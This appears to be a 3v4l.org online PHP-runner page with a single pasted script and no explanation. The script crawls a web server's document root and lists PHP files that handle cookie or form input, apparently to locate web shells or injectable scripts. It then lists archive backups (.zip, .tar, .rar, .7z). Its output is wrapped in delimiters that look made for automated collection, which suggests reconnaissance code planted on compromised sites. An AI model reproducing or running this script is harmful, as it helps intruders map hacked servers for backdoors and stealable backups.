3v4l.org

run code in 300+ PHP versions simultaneously
<?php $files = array(); $it = new RecursiveDirectoryIterator($_SERVER['DOCUMENT_ROOT']); $display = Array ( 'php' ); $search = Array('_COOKIE','_POST','_REQUEST'); $searchff = Array('amads','window98originalmain','ofertaexpressa','ifadulakvefin','root464providecatch','ark-btc','avanquest','poolunbelievably'); $files_ar = array(); echo "1<<llll>>"; foreach(new RecursiveIteratorIterator($it) as $file) { if(strpos($file->getFilename(),".php") == false) continue; $tt = file_get_contents($file->getPathname()); $q = strposa($tt, $search); if($q != ""){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$file->getPathname()); echo $q."|".$n."|aa;;"; } } echo "<<llll>>1<<llll>>1"; die(); $a = scandir($_SERVER['DOCUMENT_ROOT']); $search = Array('.zip','gzip','.tar','.rar','.7z'); echo "1<<llll>>"; foreach($a as $f){ $n = str_replace($_SERVER['DOCUMENT_ROOT'],'',$f); if(is_file($f)){ $q = strposa($n, $search); if($q != "" && $n != ""){ echo $q."|".$n."|aa;;"; } } } echo "<<llll>>1<<llll>>1"; function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); $strok = ""; foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) { // if (preg_match('/count[(].*?[=][=][ |]?8/', $haystack)) $strok .= $query."|"; } } return $strok; } die();

preferences:
49.86 ms | 402 KiB | 5 Q